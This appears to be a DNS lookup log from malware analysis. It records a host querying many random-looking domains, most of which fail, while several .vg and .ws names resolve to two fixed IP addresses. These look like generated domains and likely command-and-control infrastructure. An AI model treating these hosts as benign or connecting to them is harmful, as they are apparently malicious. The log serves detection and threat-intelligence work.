Dec 4, 2023 12:34:50.952457905 CET	1.1.1.1	192.168.2.6	0xef8a	Name error (3)	uduror.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.059581995 CET	1.1.1.1	192.168.2.6	0xe12a	Name error (3)	uduror.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.264550924 CET	1.1.1.1	192.168.2.6	0x30b2	No error (0)	xcrzpoqyev.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.568541050 CET	1.1.1.1	192.168.2.6	0x2b27	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.667609930 CET	1.1.1.1	192.168.2.6	0x4621	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:51.972954035 CET	1.1.1.1	192.168.2.6	0x5359	Name error (3)	ceigroww.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:52.088252068 CET	1.1.1.1	192.168.2.6	0x2177	Name error (3)	ceigroww.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:52.532841921 CET	1.1.1.1	192.168.2.6	0xe072	Name error (3)	esclcrwdzowpc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.578358889 CET	1.1.1.1	192.168.2.6	0x117c	Name error (3)	esclcrwdzowpc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.650999069 CET	1.1.1.1	192.168.2.6	0x117c	Name error (3)	esclcrwdzowpc.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:53.927025080 CET	1.1.1.1	192.168.2.6	0xb328	Name error (3)	uklmstm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.189981937 CET	1.1.1.1	192.168.2.6	0x1bdf	Name error (3)	uklmstm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.592268944 CET	1.1.1.1	192.168.2.6	0x54a6	Name error (3)	ckjom.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:54.806988955 CET	1.1.1.1	192.168.2.6	0xba53	Name error (3)	ckjom.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:55.244152069 CET	1.1.1.1	192.168.2.6	0x9cc5	Name error (3)	iyzzosives.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:55.356165886 CET	1.1.1.1	192.168.2.6	0x3043	Name error (3)	iyzzosives.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:55.926377058 CET	1.1.1.1	192.168.2.6	0xfcaf	Name error (3)	uwgiucm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:57.539354086 CET	1.1.1.1	192.168.2.6	0x142a	Name error (3)	uwgiucm.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:57.966062069 CET	1.1.1.1	192.168.2.6	0x5c0	Name error (3)	taegkmytdji.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.293715954 CET	1.1.1.1	192.168.2.6	0xa8b2	Name error (3)	taegkmytdji.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.657015085 CET	1.1.1.1	192.168.2.6	0x51a8	Name error (3)	eodljipg.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.771517992 CET	1.1.1.1	192.168.2.6	0x88a0	Name error (3)	eodljipg.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:58.984467983 CET	1.1.1.1	192.168.2.6	0x5a1c	Name error (3)	kmakdec.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.097712040 CET	1.1.1.1	192.168.2.6	0x4837	Name error (3)	kmakdec.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.409493923 CET	1.1.1.1	192.168.2.6	0xae71	Name error (3)	saswvsucboqjw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:34:59.518774986 CET	1.1.1.1	192.168.2.6	0xb493	Name error (3)	saswvsucboqjw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.169708014 CET	1.1.1.1	192.168.2.6	0x3f5d	Name error (3)	imbwsomexosgk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.503547907 CET	1.1.1.1	192.168.2.6	0xc3aa	Name error (3)	imbwsomexosgk.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.716732979 CET	1.1.1.1	192.168.2.6	0x2683	Name error (3)	luimvwcqc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:00.837255001 CET	1.1.1.1	192.168.2.6	0x6d04	Name error (3)	luimvwcqc.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.271373034 CET	1.1.1.1	192.168.2.6	0x1fe3	Name error (3)	yowuwvxv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.380096912 CET	1.1.1.1	192.168.2.6	0xb780	Name error (3)	yowuwvxv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.594923019 CET	1.1.1.1	192.168.2.6	0x25ef	Name error (3)	yiwqeoqkvc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:01.709017992 CET	1.1.1.1	192.168.2.6	0xf999	Name error (3)	yiwqeoqkvc.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.010881901 CET	1.1.1.1	192.168.2.6	0x6e9c	No error (0)	jhrkfuyoa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.484740973 CET	1.1.1.1	192.168.2.6	0xa640	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:02.607387066 CET	1.1.1.1	192.168.2.6	0x4486	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.057169914 CET	1.1.1.1	192.168.2.6	0x4965	Name error (3)	ecceuleyq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.429030895 CET	1.1.1.1	192.168.2.6	0x8e8a	Name error (3)	ecceuleyq.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.637481928 CET	1.1.1.1	192.168.2.6	0x36ef	No error (0)	sxeafnqamioyl.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:03.919428110 CET	1.1.1.1	192.168.2.6	0x24f4	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.030114889 CET	1.1.1.1	192.168.2.6	0xf50a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.234963894 CET	1.1.1.1	192.168.2.6	0xffbc	No error (0)	cigkgqmwwoq.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.558204889 CET	1.1.1.1	192.168.2.6	0x1fd4	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:04.691602945 CET	1.1.1.1	192.168.2.6	0x86db	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.140290022 CET	1.1.1.1	192.168.2.6	0x82c1	Name error (3)	auwwie.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.259432077 CET	1.1.1.1	192.168.2.6	0x87d8	Name error (3)	auwwie.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.469369888 CET	1.1.1.1	192.168.2.6	0xff35	Name error (3)	aoynscawsxqoi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:05.747710943 CET	1.1.1.1	192.168.2.6	0xa7d4	Name error (3)	aoynscawsxqoi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.147166967 CET	1.1.1.1	192.168.2.6	0xab0c	Name error (3)	susondjqc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.366257906 CET	1.1.1.1	192.168.2.6	0x1680	Name error (3)	susondjqc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:06.727205038 CET	1.1.1.1	192.168.2.6	0xaa31	No error (0)	gdiesxseigao.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.069505930 CET	1.1.1.1	192.168.2.6	0xb85f	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.191463947 CET	1.1.1.1	192.168.2.6	0x1564	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.681231022 CET	1.1.1.1	192.168.2.6	0xe142	Name error (3)	yelgcearo.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:07.888578892 CET	1.1.1.1	192.168.2.6	0x293f	Name error (3)	yelgcearo.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:08.241740942 CET	1.1.1.1	192.168.2.6	0x9254	Name error (3)	kmsmk.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:08.354439020 CET	1.1.1.1	192.168.2.6	0xec0	Name error (3)	kmsmk.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:09.468352079 CET	1.1.1.1	192.168.2.6	0x8940	Name error (3)	gzeavioqi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:09.558379889 CET	1.1.1.1	192.168.2.6	0x8940	Name error (3)	gzeavioqi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.084268093 CET	1.1.1.1	192.168.2.6	0x7853	Name error (3)	gzeavioqi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.386024952 CET	1.1.1.1	192.168.2.6	0xa023	Name error (3)	swstgqsyaxe.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.501102924 CET	1.1.1.1	192.168.2.6	0x7a77	Name error (3)	swstgqsyaxe.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:10.925894022 CET	1.1.1.1	192.168.2.6	0x9f07	Name error (3)	whrwezmikgr.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.276525974 CET	1.1.1.1	192.168.2.6	0x38a9	Name error (3)	whrwezmikgr.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.490825891 CET	1.1.1.1	192.168.2.6	0x974c	Name error (3)	pyhctikhca.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.606282949 CET	1.1.1.1	192.168.2.6	0x8db3	Name error (3)	pyhctikhca.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:11.904639006 CET	1.1.1.1	192.168.2.6	0x5a7d	Name error (3)	tkdcp.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:12.110167980 CET	1.1.1.1	192.168.2.6	0x3ef2	Name error (3)	tkdcp.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:12.566761017 CET	1.1.1.1	192.168.2.6	0xeeec	Name error (3)	qiamygymrlu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:12.932876110 CET	1.1.1.1	192.168.2.6	0x64fc	Name error (3)	qiamygymrlu.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:13.646653891 CET	1.1.1.1	192.168.2.6	0x7cc7	Name error (3)	wziyabnrwnmfw.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:13.995922089 CET	1.1.1.1	192.168.2.6	0x697c	Name error (3)	wziyabnrwnmfw.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.295300007 CET	1.1.1.1	192.168.2.6	0xb61d	Name error (3)	pucdf.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.513676882 CET	1.1.1.1	192.168.2.6	0x29c0	Name error (3)	pucdf.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.720004082 CET	1.1.1.1	192.168.2.6	0xea8d	Name error (3)	eqwmxcdrpj.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:14.828599930 CET	1.1.1.1	192.168.2.6	0xa5ac	Name error (3)	eqwmxcdrpj.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.192995071 CET	1.1.1.1	192.168.2.6	0x9f36	Name error (3)	vesuvadpxnu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.309521914 CET	1.1.1.1	192.168.2.6	0x41b5	Name error (3)	vesuvadpxnu.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.758527994 CET	1.1.1.1	192.168.2.6	0xc12f	Name error (3)	jowuhowi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:15.870759964 CET	1.1.1.1	192.168.2.6	0x8060	Name error (3)	jowuhowi.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.078543901 CET	1.1.1.1	192.168.2.6	0xdf69	Name error (3)	rzucgtcpwoujoi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.190781116 CET	1.1.1.1	192.168.2.6	0xd420	Name error (3)	rzucgtcpwoujoi.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:16.651439905 CET	1.1.1.1	192.168.2.6	0xcd1e	Name error (3)	auvgqgxid.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.002233028 CET	1.1.1.1	192.168.2.6	0x5dbf	Name error (3)	auvgqgxid.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.330200911 CET	1.1.1.1	192.168.2.6	0x78a5	Name error (3)	yqauyqiqsea.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:17.547293901 CET	1.1.1.1	192.168.2.6	0xbfbf	Name error (3)	yqauyqiqsea.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.465742111 CET	1.1.1.1	192.168.2.6	0x908c	Name error (3)	thgchg.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.576291084 CET	1.1.1.1	192.168.2.6	0x36b3	Name error (3)	thgchg.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:18.869139910 CET	1.1.1.1	192.168.2.6	0xd1a9	Name error (3)	ymvrgaeyo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.068664074 CET	1.1.1.1	192.168.2.6	0xbf15	Name error (3)	ymvrgaeyo.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.297344923 CET	1.1.1.1	192.168.2.6	0xdd5c	Name error (3)	ieatyyzem.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.632862091 CET	1.1.1.1	192.168.2.6	0x3624	Name error (3)	ieatyyzem.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:19.887953043 CET	1.1.1.1	192.168.2.6	0xb06d	Name error (3)	uohcuegnkvj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.019687891 CET	1.1.1.1	192.168.2.6	0x20f6	Name error (3)	uohcuegnkvj.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.236865997 CET	1.1.1.1	192.168.2.6	0xe7b	Name error (3)	stcapppcm.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.358021975 CET	1.1.1.1	192.168.2.6	0x905e	Name error (3)	stcapppcm.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:20.841217041 CET	1.1.1.1	192.168.2.6	0xdd50	Name error (3)	fjguuiscc.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.033195019 CET	1.1.1.1	192.168.2.6	0x4030	Name error (3)	fjguuiscc.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.249089956 CET	1.1.1.1	192.168.2.6	0xd1bf	No error (0)	xsoarnzo.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.523387909 CET	1.1.1.1	192.168.2.6	0xe00c	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.631113052 CET	1.1.1.1	192.168.2.6	0x8c17	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:21.843213081 CET	1.1.1.1	192.168.2.6	0x4637	No error (0)	wacvs.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.119385958 CET	1.1.1.1	192.168.2.6	0x144a	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.234188080 CET	1.1.1.1	192.168.2.6	0xbe00	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:22.754518986 CET	1.1.1.1	192.168.2.6	0xcc02	No error (0)	yqggloksl.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.060596943 CET	1.1.1.1	192.168.2.6	0xdc0f	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.157918930 CET	1.1.1.1	192.168.2.6	0x6d0e	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.358824015 CET	1.1.1.1	192.168.2.6	0x6824	Name error (3)	ciomiv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.466788054 CET	1.1.1.1	192.168.2.6	0xc0b8	Name error (3)	ciomiv.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.762702942 CET	1.1.1.1	192.168.2.6	0x2dfd	Name error (3)	amqogkz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:23.966619968 CET	1.1.1.1	192.168.2.6	0xdfd2	Name error (3)	amqogkz.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.284081936 CET	1.1.1.1	192.168.2.6	0x93be	Name error (3)	agkwukqervama.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.383435965 CET	1.1.1.1	192.168.2.6	0xbd5a	Name error (3)	agkwukqervama.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:24.827466965 CET	1.1.1.1	192.168.2.6	0x5ab	Name error (3)	izasnosdqa.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.177033901 CET	1.1.1.1	192.168.2.6	0x4dc0	Name error (3)	izasnosdqa.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.388690948 CET	1.1.1.1	192.168.2.6	0x38c7	Name error (3)	meysvxuem.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.601058006 CET	1.1.1.1	192.168.2.6	0xdc65	Name error (3)	meysvxuem.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:25.811748028 CET	1.1.1.1	192.168.2.6	0x8989	No error (0)	eayiwsaiu.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.082242966 CET	1.1.1.1	192.168.2.6	0x9bf4	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.185096025 CET	1.1.1.1	192.168.2.6	0x3a83	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:26.896061897 CET	1.1.1.1	192.168.2.6	0x321d	Name error (3)	cxlowsxgyq.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.021617889 CET	1.1.1.1	192.168.2.6	0x16ce	Name error (3)	cxlowsxgyq.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.477335930 CET	1.1.1.1	192.168.2.6	0xeff6	Name error (3)	kqguj.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:27.830912113 CET	1.1.1.1	192.168.2.6	0x8975	Name error (3)	kqguj.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:28.047039986 CET	1.1.1.1	192.168.2.6	0xb1b5	Name error (3)	fdpempn.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:28.153695107 CET	1.1.1.1	192.168.2.6	0xcb06	Name error (3)	fdpempn.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:28.991288900 CET	1.1.1.1	192.168.2.6	0xc76c	No error (0)	anunqdoqkkk.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.226653099 CET	1.1.1.1	192.168.2.6	0x21de	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.329260111 CET	1.1.1.1	192.168.2.6	0xcf8e	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.530793905 CET	1.1.1.1	192.168.2.6	0xad4d	Name error (3)	omodgklmmytyf.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.646858931 CET	1.1.1.1	192.168.2.6	0x479e	Name error (3)	omodgklmmytyf.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.859299898 CET	1.1.1.1	192.168.2.6	0xde53	Name error (3)	dyueyt.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:31.963290930 CET	1.1.1.1	192.168.2.6	0xa187	Name error (3)	dyueyt.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.446953058 CET	1.1.1.1	192.168.2.6	0x261c	Name error (3)	sdzdwye.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.664150953 CET	1.1.1.1	192.168.2.6	0x401d	Name error (3)	sdzdwye.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:32.963721037 CET	1.1.1.1	192.168.2.6	0xb0c1	Name error (3)	qarmpzijnapfi.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.163072109 CET	1.1.1.1	192.168.2.6	0x8664	Name error (3)	qarmpzijnapfi.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.647733927 CET	1.1.1.1	192.168.2.6	0x4fcc	Name error (3)	rqglswlmmbwbt.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:33.842246056 CET	1.1.1.1	192.168.2.6	0x7286	Name error (3)	rqglswlmmbwbt.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.159008980 CET	1.1.1.1	192.168.2.6	0x50b2	Name error (3)	qyeucef.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.360414982 CET	1.1.1.1	192.168.2.6	0x2e73	Name error (3)	qyeucef.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.563184977 CET	1.1.1.1	192.168.2.6	0x5c85	Name error (3)	sgjlqugfwhiau.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.672975063 CET	1.1.1.1	192.168.2.6	0xe126	Name error (3)	sgjlqugfwhiau.museum	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:34.969131947 CET	1.1.1.1	192.168.2.6	0xddd	Name error (3)	imoqqcxc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.166815042 CET	1.1.1.1	192.168.2.6	0xa816	Name error (3)	imoqqcxc.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.374270916 CET	1.1.1.1	192.168.2.6	0xed4d	Name error (3)	moikiswormqyw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:35.473660946 CET	1.1.1.1	192.168.2.6	0x798b	Name error (3)	moikiswormqyw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:36.271927118 CET	1.1.1.1	192.168.2.6	0xc05	Name error (3)	ylknnee.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:36.965797901 CET	1.1.1.1	192.168.2.6	0x28f	Name error (3)	ylknnee.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.282186031 CET	1.1.1.1	192.168.2.6	0x9075	Name error (3)	epqexyxenaeic.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.486346960 CET	1.1.1.1	192.168.2.6	0x830f	Name error (3)	epqexyxenaeic.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.685470104 CET	1.1.1.1	192.168.2.6	0x45e6	No error (0)	cwotiedmwpagi.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:37.974484921 CET	1.1.1.1	192.168.2.6	0x8ddd	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:38.086669922 CET	1.1.1.1	192.168.2.6	0x2550	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:38.298049927 CET	1.1.1.1	192.168.2.6	0xf372	Name error (3)	kjikqraqo.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.122745991 CET	1.1.1.1	192.168.2.6	0x8bee	Name error (3)	kjikqraqo.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.331163883 CET	1.1.1.1	192.168.2.6	0x35d6	No error (0)	fcupaue.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.627517939 CET	1.1.1.1	192.168.2.6	0xb8a0	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:39.733386993 CET	1.1.1.1	192.168.2.6	0x434	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.030813932 CET	1.1.1.1	192.168.2.6	0x9978	Name error (3)	timsbauamckr.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.235050917 CET	1.1.1.1	192.168.2.6	0xdb3a	Name error (3)	timsbauamckr.cd	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.583363056 CET	1.1.1.1	192.168.2.6	0x9330	Name error (3)	ruxqdcjzyww.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:40.783901930 CET	1.1.1.1	192.168.2.6	0x6554	Name error (3)	ruxqdcjzyww.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.097667933 CET	1.1.1.1	192.168.2.6	0xd185	Name error (3)	bqsisaiqgucqw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.196738958 CET	1.1.1.1	192.168.2.6	0xd737	Name error (3)	bqsisaiqgucqw.nu	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.494687080 CET	1.1.1.1	192.168.2.6	0x94f6	Name error (3)	wowhpjqeagx.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.690623999 CET	1.1.1.1	192.168.2.6	0x732f	Name error (3)	wowhpjqeagx.st	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.906955957 CET	1.1.1.1	192.168.2.6	0x91d	No error (0)	kyutfggw.vg		88.198.29.97	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.203243017 CET	1.1.1.1	192.168.2.6	0x3784	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.302216053 CET	1.1.1.1	192.168.2.6	0x4fbf	Name error (3)	unmomis.biz	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.661581993 CET	1.1.1.1	192.168.2.6	0xe9e6	Name error (3)	iumeadq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.764305115 CET	1.1.1.1	192.168.2.6	0x59a4	Name error (3)	iumeadq.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.966849089 CET	1.1.1.1	192.168.2.6	0x9a6c	Name error (3)	efiduysw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.072942019 CET	1.1.1.1	192.168.2.6	0x5cb2	Name error (3)	efiduysw.pw	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.535424948 CET	1.1.1.1	192.168.2.6	0x5d9c	Name error (3)	kqqjawrfqquku.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.633322001 CET	1.1.1.1	192.168.2.6	0xe304	Name error (3)	kqqjawrfqquku.tk	none	none	A (IP address)	IN (0x0001)	false
